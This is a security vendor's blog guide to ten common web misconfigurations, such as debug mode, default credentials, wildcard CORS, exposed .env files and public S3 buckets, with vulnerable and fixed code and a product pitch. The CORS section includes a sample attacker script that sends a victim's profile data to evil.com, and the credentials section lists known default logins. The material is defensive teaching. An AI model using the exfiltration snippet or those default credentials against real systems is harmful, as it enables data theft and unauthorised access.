Security misconfiguration is the most prevalent vulnerability class in OWASP's Top 10, affecting 90% of tested applications. This guide covers the 10 most damaging misconfigurations, with real detection and remediation steps for each.
Anay Pandya
1,741 words
Anay Pandya
Founder of ZeriFlow · 10 years fullstack engineering · About the author
Key Takeaways
OWASP moved Security Misconfiguration to A05 in its 2021 Top 10, and it has not moved. In testing across thousands of real-world applications, over 90% have at least one security misconfiguration. This is not because developers lack knowledge — it is because misconfiguration thrives in the gap between "what the framework defaults to" and "what secure production deployment requires."
The damage ranges from embarrassing (directory listing revealing internal file structures) to catastrophic (exposed .env files containing production database credentials harvested by automated bots within hours of deployment). Most of these vulnerabilities require zero exploitation skill — just a web browser and basic knowledge of what to look for.
Is your site actually secure?
Keep reading
Run a free check — 60 seconds
OWASP defines security misconfiguration as occurring when: - Unnecessary features are enabled or installed - Default credentials are unchanged - Error handling reveals stack traces or other information to users - Security settings in applications, frameworks, libraries, or OS are not set to secure values - The server does not send security headers - Software is out of date or vulnerable
The category subsumes what was previously a separate entry (XML External Entities) and has absorbed cloud misconfiguration as cloud deployments have become universal.
Here are the ten most common and damaging instances.
Almost every web framework has a debug mode designed to make development easier. Debug mode typically: - Displays detailed stack traces on errors - Shows database queries in browser or logs - Enables interactive debuggers - Disables caching and rate limiting - Exposes internal framework routes
Django example:
# Vulnerable — settings.py in production
DEBUG = True
# What an attacker sees on any 500 error:
# Full stack trace including local variable values
# Database query list with actual query strings
# Settings values (including SECRET_KEY if referenced in views)
# Full file paths of your source codeExpress.js example:
// Vulnerable
app.use((err, req, res, next) => {
res.status(500).json({ error: err.message, stack: err.stack });
});
// Secure — production error handler
app.use((err, req, res, next) => {
console.error(err); // Log internally
res.status(500).json({ error: ''Internal server error'' });
});Fix: Use environment variables to control debug settings, and verify them in your deployment pipeline.
# Django — enforce via environment variable
import os
DEBUG = os.environ.get(''DEBUG'', ''False'') == ''True''
# Default is False; explicitly set DEBUG=True only in developmentDefault credentials on admin panels, database management interfaces, and infrastructure components are one of the fastest paths to a complete system compromise. Automated scanners try defaults within minutes of discovering an exposed admin interface.
Common targets:
- phpMyAdmin: root / (no password)
- WordPress: admin / admin or admin / password
- Jenkins (older): no authentication by default
- Grafana: admin / admin
- MongoDB: no authentication by default until version 7.0
- Redis: no authentication by default
Fix: Change credentials immediately during provisioning. Use a secrets manager (AWS Secrets Manager, HashiCorp Vault) to generate and store credentials. Never commit credentials to source control.
# Check for exposed admin panels with default creds
# Test your own infrastructure before attackers do
curl -s https://yourapp.com/admin
curl -s https://yourapp.com/phpmyadmin
curl -s https://yourapp.com:8080/jenkinsWhen a web server has no index file in a directory and directory listing is enabled, the server returns a browsable file tree. This exposes backup files, configuration files, source code, and internal documentation.
Nginx (vulnerable):
location /uploads/ {
autoindex on; # Never in production
}Nginx (secure):
location /uploads/ {
autoindex off;
# Serve files but don''t list them
}Apache (secure):
Options -IndexesDisable directory listing globally and verify by navigating to a directory URL without an index file. A 403 is the correct response; a 200 with a file listing is not.
Access-Control-Allow-Origin: *)CORS controls which origins can make cross-origin requests to your API. The wildcard * allows any origin. This is appropriate for completely public APIs serving non-authenticated content — and inappropriate for almost every other use case.
What the vulnerability enables:
// Attacker''s page at https://evil.com
fetch(''https://api.yourapp.com/user/profile'', {
credentials: ''include'' // Sends victim''s cookies
})
.then(r => r.json())
.then(data => {
// Sends victim''s profile data to attacker
navigator.sendBeacon(''https://evil.com/harvest'', JSON.stringify(data));
});Note: browsers refuse credentials: ''include'' with Access-Control-Allow-Origin: * — but if you replace * with the attacker''s origin (because your CORS logic reflects any origin back), credentials work.
Secure CORS configuration:
// Express with explicit origin allowlist
const ALLOWED_ORIGINS = [
''https://yourapp.com'',
''https://www.yourapp.com'',
process.env.NODE_ENV === ''development'' ? ''http://localhost:3000'' : null,
].filter(Boolean);
app.use(cors({
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.includes(origin)) {
callback(null, true);
} else {
callback(new Error(`CORS policy violation: ${origin}`));
}
},
credentials: true,
}));A web application with no security headers is not making a neutral choice — it is leaving browser protections disabled. Each missing header represents an attack vector that could have been mitigated.
Required headers for any application handling user data:
Content-Security-Policy: default-src ''self''; ...
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()Check your headers at zeriflow.com or with curl:
curl -I https://yourapp.com | grep -i "content-security\\|strict-transport\\|x-content\\|x-frame\\|referrer-policy".env FilesThe .env file pattern is ubiquitous in Node.js, Python, and PHP applications. When these files are placed in a directory served by the web server and no rule blocks access, they are publicly readable.
These files typically contain: - Database connection strings with credentials - API keys for payment processors, email services, SMS providers - JWT secrets - Cloud storage credentials (S3 access keys) - Third-party service secrets
Automated bots scan for .env files continuously. A study by GitGuardian found over 10 million exposed secrets in public repositories and live web servers in a single year.
Test your own deployment:
curl -s https://yourapp.com/.env
curl -s https://yourapp.com/.env.local
curl -s https://yourapp.com/.env.productionFix — Nginx:
location ~ /\\. {
deny all;
return 404;
}Fix — Apache:
<FilesMatch "^\\.env">
Order allow,deny
Deny from all
</FilesMatch>Fix — structural: Never place your web application root at the same level as your project root. Keep .env files outside the web-accessible directory.
Running outdated versions of web servers, frameworks, libraries, and operating systems means running code with known, published exploit code available for it. The time between CVE publication and active exploitation has dropped from months to days.
# Check for outdated npm packages with known vulnerabilities
npm audit
# Check outdated packages
npm outdated
# Python
pip-audit
# Docker image vulnerabilities
docker scan your-image:latest
# Check your web server version (attackers do this too)
curl -I https://yourapp.com | grep ServerFix: subscribe to security advisories for your key dependencies, use Dependabot or Renovate for automated dependency updates, and establish a process to apply security patches within 72 hours of critical CVE publication.
Cloud storage misconfiguration has been responsible for some of the largest data breaches in recent history — Capital One (100 million records), Facebook (500 million records), and hundreds of smaller organizations.
Check your S3 buckets:
# Check bucket ACL
aws s3api get-bucket-acl --bucket your-bucket-name
# Check bucket policy
aws s3api get-bucket-policy --bucket your-bucket-name
# Check public access block settings
aws s3api get-public-access-block --bucket your-bucket-nameSecure configuration:
{
"BlockPublicAcls": true,
"IgnorePublicAcls": true,
"BlockPublicPolicy": true,
"RestrictPublicBuckets": true
}Apply this at both the account level (AWS Organizations SCP) and the individual bucket level. For buckets that legitimately serve public content (static assets), use CloudFront as the delivery mechanism with the bucket kept private.
Error messages that reveal internal architecture, stack traces, file paths, database queries, or technology stack information help attackers map your system.
// Vulnerable error response
{
"error": "SequelizeDatabaseError: column \\"user_id\\" does not exist",
"query": "SELECT * FROM users WHERE user_id = ''admin''",
"file": "/app/src/controllers/userController.js",
"line": 47
}
// Secure error response
{
"error": "An internal error occurred. Please try again.",
"requestId": "req_abc123"
}Log the detailed error server-side (with the requestId for correlation), return only a generic message with a reference ID to the client.
File upload functionality without proper restrictions allows attackers to upload malicious files:
// Vulnerable — accepts any file type
app.post(''/upload'', upload.single(''file''), (req, res) => {
res.json({ path: `/uploads/${req.file.filename}` });
});
// Secure — validate MIME type AND extension, store outside web root
const upload = multer({
storage: multer.diskStorage({
destination: ''/var/app/uploads/'', // Not in web root
filename: (req, file, cb) => {
const uniqueName = `${Date.now()}-${crypto.randomBytes(8).toString(''hex'')}`;
cb(null, uniqueName); // No extension in stored filename
}
}),
limits: { fileSize: 5 * 1024 * 1024 }, // 5MB limit
fileFilter: (req, file, cb) => {
const ALLOWED_MIME_TYPES = [''image/jpeg'', ''image/png'', ''image/webp'', ''application/pdf''];
if (ALLOWED_MIME_TYPES.includes(file.mimetype)) {
cb(null, true);
} else {
cb(new Error(''File type not allowed''));
}
}
});Additionally: virus scan uploaded files, serve them from a separate domain (not the same origin as your application), and verify MIME type using file magic bytes rather than relying on the Content-Type header.
One-time audits are not enough. Security misconfigurations reappear as code changes, dependencies update, and infrastructure evolves. Build detection into your workflow:
ZeriFlow runs 80+ checks against your live site — covering headers, TLS, cookies, DNS, and content security — and gives you a prioritized list of misconfigurations with fix instructions. A scan takes under 60 seconds and the free tier requires no credit card.
Run your site through ZeriFlow''s misconfiguration scanner at zeriflow.com and get your security score in 60 seconds.
Related resources
Website Vulnerability Scanner
Run a broader website security audit across headers, TLS, DNS, cookies, SEO, and disclosure checks.
Security Headers Checker
Check CSP, HSTS, X-Frame-Options, and other response headers.
SSL Checker
Review TLS certificate, HTTPS, and transport security signals.
DMARC Checker
Validate email authentication records for domain spoofing protection.
CSP Checker
Review Content-Security-Policy coverage and common gaps.
April 30, 2026
Best SAST Tools for Small Development Teams in 2026 (Free Included)
Monitor your security score
Schedule recurring scans and catch regressions after deployments.